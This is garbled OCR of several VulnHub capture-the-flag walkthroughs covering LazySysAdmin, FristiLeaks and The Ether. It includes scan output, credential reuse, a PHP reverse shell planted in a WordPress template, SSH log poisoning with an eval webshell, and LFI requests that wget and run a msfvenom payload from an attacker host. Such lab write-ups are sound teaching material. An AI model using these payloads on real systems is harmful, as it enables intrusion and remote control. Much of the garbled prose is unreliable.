| 2048 58:5a3:63:69:d0:da:dd:51:cc:cl:6e:00:fd:7e:61:d0 (RSA)

| 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)

| 256 1f:65:c@:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (EADSA)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| _http-generator: Silex v2.2.7

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS

| http-robots.txt: 4 disallowed entries

| /old/ /test/ /TR2/ /Backnode_files/

| _http-server-header: Apache/2.4.7 (Ubuntu)

| _http-title: Backnode

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc InspIRCd
| irc-info:

|  server: Admin.local



users: 1.0

servers: 1

chans: ©

lusers: 1

lservers: ©

source ident: nmap

|  source host: 192.168.2.107

| error: Closing link: (nmap@192.168.2.107) [Client exited]
MAC Address: 08:00:27:DA:8A:AC (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:1linux:linux_kernel:3 cpe:/o:1linux:linux_kernel:4
0S details: Linux 3.2 - 4.8

Uptime guess: 0.008 days (since Wed Jan 31 20:44:16 2018)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=261 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: Hosts: LAZYSYSADMIN, Admin.local; 0S: Linux; CPE:

Host script results:
nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>,

LAZYSYSADMIN<0O> Flags: <unique><active>
LAZYSYSADMIN<O3> Flags: <unique><active>
LAZYSYSADMIN<20> Flags: <unique><active>
WORKGROUP<©0> Flags: <group><active>
WORKGROUP<1e> Flags: <group><active>

I

I

I

I

I

I

I

| smb-os-discovery:

| 0S: Windows 6.1 (Samba 4.3.11-Ubuntu)

[ Computer name: lazysysadmin

| NetBIOS computer name: LAZYSYSADMIN\x00
| Domain name: \x00

|  FQDN: lazysysadmin

| System time: 2018-01-31T22:55:23+10:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)
| _smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms LazySysAdmin.lan (192.168.0.100)

NSE: Script Post-scanning.

Initiating NSE at 20:55

Completed NSE at 20:55, 0.00s elapsed
Initiating NSE at 20:55

Completed NSE at 20:55, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

NetBIOS MAC:

cpe:/o:1linux:1linux_kernel

0S and Service detection performed. Please report any incorrect results at

<unknown> (unknown)



https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.19 seconds

Raw packets sent: 11045 (487.680KB) | Rcvd: 11034 (442.816KB)

LRI & M masscanfA iR ORIRE L nmaptR{RS | (BREE B AT

\—y =

=17

T. [RIEEEER B NFFE T 22, 80, 139, 445, 3306, 666731 NmA,
FEMweb NFE |, [FARJIrbRIBHBEMAENBER (dirbZESEMENERE )

=> evilke ./dirb http://192.168.0.100 wordlists/common.txt -o /home/evilk@/Desktop/result.txt

FBi% : ./dirb Birurl BTERNER -o BHNH

EIESHNER , FTRUREERAES. HaBirwebiRsS REMH4  EERBFErobots.txt&I4MNE

x  AFEFEBREDRR , (BRAFARNEFLFIRRER.

http://192.168.0.100/robots.txt

User-agent: *

Disallow: /old/

Disallow: /test/

Disallow: /TR2/

Disallow: /Backnode_files/

Index of /Backnode_files

Name

Last modified Size Description

RSNEMNER , EMRZEInmap

a Parent Directory

AAEAAQAAAAAAAADJAAAAIDHINGYIYTKILTQ3NTctNDEINY1hZmU4LTIhMWEA. jpg 2017-08-06 11:36 31K
2017-08-06 11:36 141K

failure-good-thing-fixed.png
front-end.css
@ front-end.js
@ iguery-ui.js
@ iquery.js
logo.png
normalize.css
@ pageable.js
pictol.png
picto2.png
picto3.png
@ script.json

styles.css
[ tumblr Ib4pi2ytlClgb2xivol 500.gif

2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36
2017-08-06 11:36

5.4K
T1.2K
19K
84K
9.7K
T1.2K
3.6K
3.3K
6.0K
15K
12
13K

2017-08-06 11:36 191K

Apache/2.4.7 (Ubuntu) Server at 192.168.2.103 Port 80

{EAcurlZREX BfrwebfIbanner58 , RIMFERRIFEERapache2.4.7 , B¥R&SSUbuntu,


http://192.168.0.100/robots.txt

- evilk® curl -I 192.168.0.100

HTTP/1.1 200

OK

Date: Wed, 31 Jan 2018 13:01:20 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Sun, 06 Aug 2017 ©5:02:15 GMT
ETag: "8ce8-5560ea23d23c0"

Accept-Ranges: bytes

Content-Length: 36072

Vary: Accept-Encoding

Content-Type: text/html

BXREEJIrbiMER | RMBRXERRwordpress , EifFphpmyadmin,

- dirb222 cat /home/evilke/Desktop/result.txt | grep "~+"

T T T S S S e S S T Tk T T

http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.
http://192.

wpscanfIHELER

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

®© © © ®© ®© ©O © ®© ® ®©O ®O©O ©O ®O O O ©O ®O ®O OO OO

.100/index.html (CODE:200|SIZE:36072)

.100/info.php (CODE:200|SIZE:77257)

.100/robots.txt (CODE:200|SIZE:92)

.100/server-status (CODE:403|SIZE:293)
.100/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
.100/phpmyadmin/index.php (CODE:200|SIZE:8262)
.100/phpmyadmin/libraries (CODE:403|SIZE:300)
.100/phpmyadmin/phpinfo.php (CODE:200|SIZE:8264)
.100/phpmyadmin/setup (CODE:401|SIZE:459)
.100/wordpress/index.php (CODE:301|SIZE:0)
.100/wordpress/xmlrpc.php (CODE:405|SIZE:42)
.100/javascript/jquery/jquery (CODE:200|SIZE:252879)
.100/javascript/jquery/version (CODE:200|SIZE:5)
.100/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)
.100/wordpress/wp-admin/index.php (CODE:302|SIZE:®)
.100/wordpress/wp-content/index.php (CODE:200|SIZE:0)
.100/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:®)
.100/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)
.100/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:@)
.100/wordpress/wp-admin/user/index.php (CODE:302|SIZE:@)
.100/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)
.100/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)

root@kali:~# wpscan http://192.168.0.100/wordpress
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WordPress Security Scanner by the WPScan Team



Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @ FireFart_

[+] URL: http://192.168.0.100/wordpress/
[+] Started: Thu Feb 1 01:37:20 2018

[!] The WordPress 'http://192.168.0.100/wordpress/readme.html' file exists exposing a version
number

[+] Interesting header: LINK: <http://192.168.0.100/wordpress/index.php?rest_route=/>;
rel="https://api.w.org/"

[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)

[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1lubuntu4.22

[!] Registration is enabled: http://192.168.0.100/wordpress/wp-login.php?action=register
[+] XML-RPC Interface available under: http://192.168.0.100/wordpress/xmlrpc.php

[!'] Upload directory has directory listing enabled: http://192.168.0.100/wordpress/wp-
content/uploads/

[!] Includes directory has directory listing enabled: http://192.168.0.100/wordpress/wp-

includes/
[+] WordPress version 4.8.5 (Released on 2018-01-16) identified from meta generator, links opml
[+] WordPress theme in use: twentyfifteen - v1.8

[+] Name: twentyfifteen - v1.8

| Last updated: 2017-11-16T00:00:00.000Z

| Location: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/

| Readme: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/readme.txt
[!] The version is out of date, the latest version is 1.9

| Style URL: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/style.css

| Theme Name: Twenty Fifteen

| Theme URI: https://wordpress.org/themes/twentyfifteen/

| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty
Fifteen's simple,.

| Author: the WordPress team

| Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Finished: Thu Feb 1 01:37:24 2018
[+] Requests Done: 356

[+] Memory used: 37.98 MB

[+] Elapsed time: 00:00:04



Web_TR2

Hello world!

= 0 v OB
= Please dont make me setup wp again =
FIND US

My name is togie.

Addrncs

enum4linux 192.168.0.100

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb
1 00:46:08 2018

JEINHIE 60000000000 192.168.0.100

RID Range ........ 500-550,1000-1050

Username ......... v

Password ......... v

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

| Enumerating Workgroup/Domain on 192.168.0.100 [

[+] Got domain/workgroup name: WORKGROUP

Looking up status of 192.168.0.100

LAZYSYSADMIN <00> - B <ACTIVE> Workstation Service
LAZYSYSADMIN <03> - B <ACTIVE> Messenger Service
LAZYSYSADMIN <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <le> - <GROUP> B <ACTIVE> Browser Service Elections

MAC Address = 00-00-00-00-00-00

[+] Server 192.168.0.100 allows sessions using username '', password

[ Getting domain SID for 192.168.0.100 [




Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

[+] Got OS info for 192.168.0.100 from smbclient:
[+] Got OS info for 192.168.0.100 from srvinfo:
LAZYSYSADMIN Wk Sv PrQ Unx NT SNT Web server

platform_id : 500
0s version : 6.1
server type g 0x809a03

WARNING: The "syslog" option is deprecated

Sharename Type Comment

print$ Disk Printer Drivers

share$ Disk Sumshare

IPC$ IPC IPC Service (Web server)

Reconnecting with SMB1 for workgroup listing.

Server Comment
Workgroup Master
WORKGROUP

[+] Attempting to map shares on 192.168.0.100
//192.168.0.100/print$ Mapping: DENIED, Listing: N/A
//192.168.0.100/share$ Mapping: OK, Listing: OK
//192.168.0.100/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

[+] Attaching to 192.168.0.100 using a NULL share

[+] Trying protocol 445/SMB...



[+] Found domain(s):

[+] LAZYSYSADMIN
[+] Builtin

[+] Password Info for Domain: LAZYSYSADMIN

[+] Minimum password length: 5

[+] Password history length: None

[+] Maximum password age: Not Set

[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: ©
[+] Domain Password Store Cleartext: ©
[+] Domain Password Lockout Admins: ©
[+] Domain Password No Clear Change: ©
[+] Domain Password No Anon Change: ©
[+] Domain Password Complex: ©

[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes

[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

[I] Found new SID: S-1-22-1



[I] Found new SID: S-1-5-21-2952042175-1524911573-1237092750
[I] Found new SID: S-1-5-32

[+] Enumerating users using SID S-1-5-32 and logon username
S-1-5-32-500 *unknown*\*unknown* (8)

, password

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)

S-1-5-32-1001 *unknown*\*unknown* (8)

[+] Enumerating users using SID S-1-22-1 and logon username
S-1-22-1-1000 Unix User\togie (Local User)
[+] Enumerating users using SID S-1-5-21-2952042175-1524911573-1237092750 and logon username '',

[}

, password

password
S-1-5-21-2952042175-1524911573-1237092750-500 *unknown*\*unknown* (8)
S-1-5-21-2952042175-1524911573-1237092750-501 LAZYSYSADMIN\nobody (Local User)
S-1-5-21-2952042175-1524911573-1237092750-512 *unknown*\*unknown* (8)

S-1-5-21-2952042175-1524911573-1237092750-513 LAZYSYSADMIN\None (Domain Group)
S-1-5-21-2952042175-1524911573-1237092750-514 *unknown*\*unknown* (8)

No printers returned.

enum4linux complete on Thu Feb 1 00:46:33 2018

windows FIRENHE SRR

net use k: \\192.168.0.100\share$

linux FIRENEERIR

mount -t cifs -o username='',password='' //192.168.0.100/share$ /mnt



@ mnt » afl=|=| 0@ 0
5 = —— L — L —— L
H B = DQ B = 0 =
apache Backnode_ deets.txt index.html info.php old robots. txt test todolist.txt
files
= -
wordpress wp

KIFEN KRS {4 deets. txtFIwp-config.php

1:}5}{@5:2:‘[;£} deets.txt ‘:}%%%EE:H:%:| e e Gbﬂ

Imnt

CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 1234

F‘E‘ ‘E‘ wp-config.php ‘ | ®ES) ‘ ‘E| 0o 01

Imntéwordpress
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress #*/
define('DB NAME', 'wordpress');

/** MySQL database username */
define('DB USER', 'Admin');

/** MySQL database password */
define('DB PASSWORD', 'TogieMYSQL12345"');

/** MySQL hostname */
define('DB HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB CHARSET', 'utfg');

/** The Database Collate type. Don't change this if in doubt. */
define('DB COLLATE', '');

S EEFRBImysqIik S EEFRphpmyadmin , (BEAIIZ—NERIMAILIEE.
5

B4+, EEERE—NERBRE12345 , TEZBIERWordPressTUEAYATE , TWEIE7 My name is togie. , FRLAAT
LUAMKS : togie ZHY : 12345 EdEFRssh , KIAILIIIER.

togie@LazySysAdmin:~$ whoami

togie

togie@LazySysAdmin:~$ id

uid=1000(togie) gid=1000(togie)
groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
togie@LazySysAdmin:~$ sudo su

[sudo] password for togie:

root@LazySysAdmin:/home/togie# id

uid=0(root) gid=0(root) groups=0(root)

BT rootBR , MBERPRER Bir3{4/root/proof.txt , XEMETTH 7N T . XENIEFtogieBrootiR ,
FrAZ=d Bz Asudo sutfl#azrootfiR , (B4R togieiRBrooti R , B EEITEHMEFFIRENT .



B

BIEMS : Admin B3 : TogieMysQL12345~ EEFEWordPressiZHlE R , [M404.phplREERIEANPHPZ5Eshell
RIS,

A WebTR2 © 4 B + New Howdy, Admin Il

Dolly” [l mever go away again Help v

Dashboar Edit Themes

Posts Twenty Fifteen: 404 Template (404.php) Select theme to edit: Twenty Fifteen v | Select
<?php
set_time_limit (0); - SEITDE

. SVERSTON = "1.0": / (404.php)
ments $ip = '192.168.0.109'; // CHANGE THIS L aes

$port = 1234; // CHANGE THIS (archive.php)

$chunk_size = 1400;
fwrite_a = null;
Serror_a = null; Comments

author-bio.php

$shell = 'uname -a; w; id; /binssh -i'; {comments.php)

$daemon = 0; )

$debug = 0; content-link.php
content-none.php

i

// _Daemonise ourself if possible to avoid zombies later content-page.php

d content-search.php

Editor /¢ pcntl_fork is hardly ever available, but will allow us to content.php
daemonise

Theme Footer

ff anr nhn nracace and sunid zambidac Wrrth o tru

RIBYFfE |, it FERYupload fileRZF , AAIEAIR]http://192.168.0.100/wordpress/?p=2

root@kali:~# nc -vlp 1234
listening on [any] 1234 ...
192.168.0.100: inverse host lookup failed: Unknown host
connect to [192.168.0.109] from (UNKNOWN) [192.168.0.100] 36468
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686
i686 1686 GNU/Linux
16:03:42 up 6 min, © users, load average: 0.01, 0.15, 0.11
USER TTY FROM LOGIN@ IDLE JCPU  PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: ©: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ sudo su
sudo: no tty present and no askpass program specified

HIno tty present and no askpass program specified , RItFBFrIEpythonIRiE |, FERpython RENFHHY
shell,

python -c "import pty; pty.spawn("/bin/sh")’

(BEFFNEwWww-datafIEs , A T RMERTIEN |, JoRkE— T ERIFEER


af://n22445
http://192.168.0.100/wordpress/?p=2

$ uname -r

4.4.0-31-generic

$ 1sb_release -a

No LSB modules are available.
Distributor ID: Ubuntu

Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty

FrLARICVE-2017-1000112t2#ZE0A] , (BEBRI Ei8Fgcc , XMPER , ATLARHBE N B —RER9E | B
HIRIFRIF RN explE |, B8 _EimfTRl ],

dirb%% 5% (kalieB8w® )

wget https://svwh.dl.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar zxvf dirb222.tar.gz

cd dirb222/

apt-get install libcurl4-gnutls-dev

./configure && make

./dirb #1i=f7RIR]

SEgk

VulnHub Walk-through - LazySysAdmin: 1

LazySysAdmin Vulnerable Machine Walk-through

58751 Freshly

Vulnhub-TopHatSec: Freshly

$EHREN
TEiEE

https://download.vulnhub.com/tophatsec/Freshly.ova
S F
IBTIRIR

e Virtualbox

e VM (BEITSIRREIR | (RRIRRPEREES404 )

ANEBHHEF(ER Virtualboxi&EE

i58e



https://grokdesigns.com/vulnhub-walkthrough-lazysysadmin-1/
https://uart.io/2017/12/lazysysadmin-1/
af://n22472
af://n22475
af://n22476
af://n22477
https://download.vulnhub.com/tophatsec/Freshly.ova
af://n22480
af://n22490

IR B RRiBIT MRS iEH N , FHRESEESE SRR,
B1TIRIE
B TEAIOVASUES N VirtualboxBPHE],

SIEBE
ARSS IR

M
BFRGRR
FEmAH—SEE
801w

8080

&I18080F1443u% 19 9Web , {5 T WordPress,

N ExIRS

Sfwordpressi#{Tiig

ERM=ATRMER LA |, BEXH—ESEREAKX, EEER | £ nikto Y80 TERIIM , KM
phpmyadmin#[login.php

login.php

Sqlmapi{THa

FHEEN

BEHERE

BEEWordPress8080Z&H Elwordpressf IR & 1Z5H5
BNEE  BEIES AT

3RHshell

wordpressERME I Eshell , —FERIMENS | BESFIEIIERIshel iRINR. zip_£1&.
EE— e EIERE

XEXAEEREENGgetshell, $Eshel EN404TTH

ANHEFFNCESOT

131R)404T00H Shell 258

BEpasswd

%+t FristiLeaks v1.3


af://n22494
af://n22497
af://n22498
af://n22521
af://n22556
af://n22585
af://n22586

¥E*"I‘n I3y
TEER

https://download.vulnhub.com/fristileaks/FristiLeaks 1.3.ova.torrent https://download.vulnhub.com/fristilea

ks/FristiLeaks 1.3.ova

B1TIRIE

e Virtualbox ( Zi%—)
e Vnware Workstation player

3=
TRIEE MIRHANRER | BEEBEKRIREVMware EHITAIMACHEIE 08:00:27:A5:A6:76
RIEFFRVM

FNLHR

Netdiscover -r 10.10.10.0/24

BILARBLEHREAE0.10.10.13209U &

ARSS &= IR

nmap -sS -Pn -T4 -p- 10.10.10.132

ALUERFTFF 780i% , service/JHTTP

80RO

(EIRFFRL T 80im O , XJ80um TR
nmap -A -0 -p8@ 10.10.10.132

BEIATEMENES

Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
http-robots.txt: 3 disallowed entries

NEE—TFwebifiAg

HRAIENmMapi RIS RIFIE robots. txt X, BEE—T :
IBEILAT robots. txt IREIRI=PERIR

=NBERREFHER , REULER.

BE  KE-TER:

dirb http://10.10.10.132


af://n22586
af://n22587
https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova.torrent
https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova
af://n22591
af://n22599
af://n22607
af://n22614
af://n22621

£ images BRAILKER :
BEEBFR . keep-calm (UFE—MER
KEEP CALM AND DRINK FRISTI
23583518 http://10.10.10.132/fristi/

RR— B0, ERFEFE—NTERLER , BMNANERE BT, (SEED )

HE—TZER

dirb http://10.10.10.132/fristi/

KRIVY upload BRMAJindexTTH

BERERIER

ERAPRIERERA | LREE—MYeezeepzBI ABB TRAY,
HEN | eezeepz BUIFRIKSTHE T

| |, RI—AIRAbase6AmSRIF TR

SHl, BA—XY |, ZIEERmOMRED

base64 -d /tmp/encoded. txt

RIEHELL | XR—IPNGIEXEE |, (REFAPNGIS
base64 -d /tmp/encoded.txt > decoded.png
BERN—BFRE

SRR RERERHTER

username:eezeepz
password:keKkeKKekKKeKkEkkEk

BRI, RINM EfE. L SRR | LR EfEshellXX 4,

FEEShel BRI ARG B LAEXE TE, : http://pentestmonkey.net/tools/web-shells/php-reverse-shell

cp /usr/share/webshells/php/php-reverse-shell.php reverse-shell.php
vi reverse-shell.php

BB shell FipHt A NS IR .,
55F nc E0FImO
nc -nlvp 8888

RIBEIE , RBpng, jpg, gif 86L&
BER—T4E , ERINE .jpe


http://10.10.10.132/fristi
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

Ef&mTn , ¥ Ef&RIshell

MESLEE T — MRmRINR

ERIEFH

BME—THR , 7 home BR

EFX5E A eezeepzIRBR

7 notes.txt HPERWER :

RIERRIRBA |, E/tmp REIE— runtis &

T F 45 BR

FRYE notes.txt BURR , T& /tmp/runtis HPENBIGRSSERTHIT , BBA , 182X /home/admin BFRAIR.

EERFEITHOZE , IATLUSIE /home/adnin FTHIRE T
BNANE, #ROXRE—T.
cryptpass.py

Cryptepass.txt
whoisyourgodnow.txt

BRTRIZZER T pyXXHEINER. E5— T3 :

frEin

1.mVGZ303omkJILmy2pcuTq : thisisalsopwl23
2.=RFnOAKn1IMHMPIzpyuTIOITG : LetThereBeFristi!

XBTTRER P fristgod %G , AAiIR,

RIERIEER , E7EM ¢ IR suepORISSIEX | BINE LsuRISEHINIZ 2 IR EMA RN ZLty ;| MARELE
SURYSEERI FeiF MELMB ST AAHSEEN D,

FRIRTTEANT


af://n22740
af://n22758

Python -c 'import pty;pty.spawn("/bin/sh")"'

ETEHALIERERT .

BE—TFEHRH

BZE .secret_admin_stuff BHRSF :
BIUXANZA roothISH I PRMIZEA I
BEMSMFEMICR , history BOHUTER
BJLABE| fristigod AP —HsudoRH Tan<
SN Z RIS EIRIRNEZRD

PXINE R

R sudo RFHUR , FEIE—shell :

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

BiEEE/root A4

EENflag3fs | 15Fflag

28 /)\1 The Ether

$EHSRE

TahEE
http://www.mediafire.com/file/502nbnbkarsoisb/theEther.zip
X/ N

o AEEHIRM T VMwaref95(& , MVulnhub FEZBEIE | 1517 vmx ST4BEIR]

o HEH : FEEHBCAER T BB ERER., BTG | BEMREIEN K |, BAKNSE,

o IZHA : KaliEHWia T Fvirtualbox , RIREERFHEIE , BIRTGREEH.

FEHNisER
AENE—EHRE , FESTFE.
A ASIE BB BN B B RS - PRSI0 FlagfE.

BESRMHT —MER | B E—MEXNXY | ESEIRTAEEREFR | BEFERENEILEEHEZX

AR,
[ERUEE

° ip&RIM

»


af://n22854
af://n22855
af://n22856
http://www.mediafire.com/file/502nbnbkarsoisb/theEther.zip
af://n22859
af://n22870
af://n22877

EeE— TKaliREEE,

ZIalERRfping KIMELH. Fping -asg 192.168.1.0/24 KINEAMERAIIMEXIP,
o UmIFHESRS IR

EFInmaptRIERAfIEIT ( -F 280 ) 358 192.168.1.0/24 MER

RIE Mac FTLARBARAIXS , 192.168.1.1 NTP-LinkEZEHBE , 192.168.1.100 FFEERIFE , 192.168.1.101
VMwareE#l. BTLAFEE 192.168.1.101 JIBEFREEANAIIP,

BEBIRPZE , EANmMapXt B TEINFMAYRN : nmap -A -v 192.168.1.101 -oN nmap.txt
RE—TRXSE

-A FEEFEBRIP , INEEHA , RUseEEUER ;
v ETRIFAAGRNIAE ;

-oN JEHFHERINE B ARNEHEHE] nmap. txt .
SZERIT -

° FUNER

DITNMaplUEER | RPECHLRFNT 22 #0 80 imM , R&H/9 ubuntu . 22 Ui ssH BRSS , se w9
http fRSS , WebZg889 Apache/2.4.18 ,

BEEWeb£EFEZMEHENE , 2L , LAWeb/EAWEHSENO,
WebiE@iZiE
1. {E@niktoWebjEiRi3HE3E

fEANikto TE$EWebiRiE , nikto -h 192.168.1.101 , -h SHISEHMBR.

RBEEMMTLBRENEERRE , KT images BFRH /icons/README X4, IR ARIRMNIE.

2. {EAdirb}3EMIL B 5

dirb http://192.168.1.101

BT EHBELL  FERIEN ERIRA.
3. MIESMILTEE
IRERFSEAMERRN , FAELTRRN, FBTRE , HHRIEEE,

R ABOUT US $EEfS , ABIURLA : http://192.168.1.101/2file=about.php , FFHATEXHEZAITEE.
4. X &R

ATEMIERMRER | XEEFABurpsuitefdtEhttpiEK,

BEEHEELINuRFIREH , KIMFE—EAIBRE,

N : B3 /etc/passwd RILEBLER.

ZER T LAE AYApache HERIERTS


af://n22925
af://n22926
af://n22932
af://n22939
af://n22944

/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log

TSR,

SNATRER TN T ECE VSR , EiliEApache2fIECE S , /etc/apache2/apache2.conf , KIIBRKM,
SRIEI phptSGEE php SRS , BTR.
file=php://filter/convert.base64-encode/resource=index.php

REZ RN AR SRREICH BEE:

EEZAEERURER | SEHRFHET http 5 ssh fRS5. ApacheflIHEBELY , ERBAsshHIBEEAE.
R IR sshAYERRR .

3xBshell

1. 3XEN—Aa)iZEWebshell
FER—IIEE AR R EREEEAYssh,

ssh '<?php eval($_GET['f']); ?>'@192.168.1.101

SSHREHSRIERIWRERATA , XFHMATLUE—IES AsshiI BT, Wid—TE2E
AUEE—DEBERIBA.

2. msfvenom“&pkMeterpreter shell

PRIEFAMSIURS | XEHEUMSHENE FREBSETA,
ERERMLinuEERIshel 2R,

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f elf > shell.elf

3. Metasploit 128

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.102

exploit

4. #tEMeterpreter shell

BScERPythonfEE— NMEEAIWeb Server @ python -m SimpleHTTPServer 80
Z R FRREEAER—aIE |, TS TEREMNARS , FHRIET.
DRRIELLTEK


af://n22975
af://n22976
af://n22989
af://n22998
af://n23002

1. /?file=/var/log/auth.log&f=system('wget+192.168.1.102/shell.elf"')%3b
2. /?file=/var/log/auth.log&f=system('chmod+%2bx+shell.elf"')%3b
3. /?file=/var/log/auth.log&f=system('./shell.elf')%3b

R

1. EAERTHIRSERRTE. IISE/RS  Epayloadift{TurlencodeZ [FA A LUEEHAT.
2. HAERRIARSIELBHTIER , TEREECHSBTTERIT | FTLAFRLS shell.elf iFMIMHFUTIIR , Z
[EBHT.

PUTER -

Web ServerkmsfBI4EER :

AR

LinuxiEINIEARBEE :

1. imHiR

MEZ27T BiriEAIMeterpreter shell , ERERETES.

KRIVFESFE/I Ubuntu 16.04 (Linux 4.10.0-40-generic) , BUERAYIENE 7 Ubuntu16.04128Hexp , IEXEIX—.

exp ik : https://github.com/brl/grih/blob/master/get-rekt-linux-hardened.c

FRALSEI,
2. (EFmMsfRY

use post/multi/recon/local exploit_suggester

IRB IR LA BRIR—AN I,

3. §HIRAISUID TR

HARZEIshell , JkRE—bashfdshell :  python -c 'import pty;pty.spawn("/bin/bash")

AEWebBIERPARINT xxxlogauditorxxx.py , IXBARLOZFAERY , IENER B FsaRXMH , MEIZSH455!
*o

BIT—TFizpyXt , KMEFEITATER. BEEApache2fIHEX S , KIEHITT cat @<, BEFERIBIR
g |, IRBPITRI.

(FREFpy XHHIRPR , ZIEESUIDAIRSR , BSX4FrERFAroot,
sudo -list BF— FAFPIIR.

RIMAI LA E BRI A LAroot B BRIE TiZpy S, IXFiiFNE T .
Zpy X B EEIR | SEETIAERELAroot B BRMATI S,

BT kZEroottiRAIshell,


af://n23038
af://n23043
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
af://n23056
af://n23065

4. KB rootifEAYshell

EAZBIEE EET Msfvenom&ERNS |, IXEEX(FERE. BB shell |, background SRNGE | AEH
KIABSER , HEETES.

B AEMEYER UL ro ot BRIZ{ TMsFARD,

sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf

EiTpy<ia , BHIERE , AR TAS,

#H Asession 289shell , &R :

ikHflag

fErootlIZRERAI T flag.png M4 :
TEEIAMHITONT
HEETRERETERRS.

20T HERXHRIRERIL T —Ebase64
¥gbase6dE N flag.txt , BT Sget flag :

cat flag | base64 -d

017 8 B o] 15
Bl , DEEHBAEIR , B H— R 2R MM,

1. WebF EFIAXKIRE

B5EE—Tindex.phpAYtz/OMAS :

<?php
$file = $_GET["file"];

$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);

if ($file == "/var/log/auth.log") {
header("location: index.php");

}

else{

include($file);

}


af://n23092
af://n23108
af://n23131
af://n23134

include($file);
?>

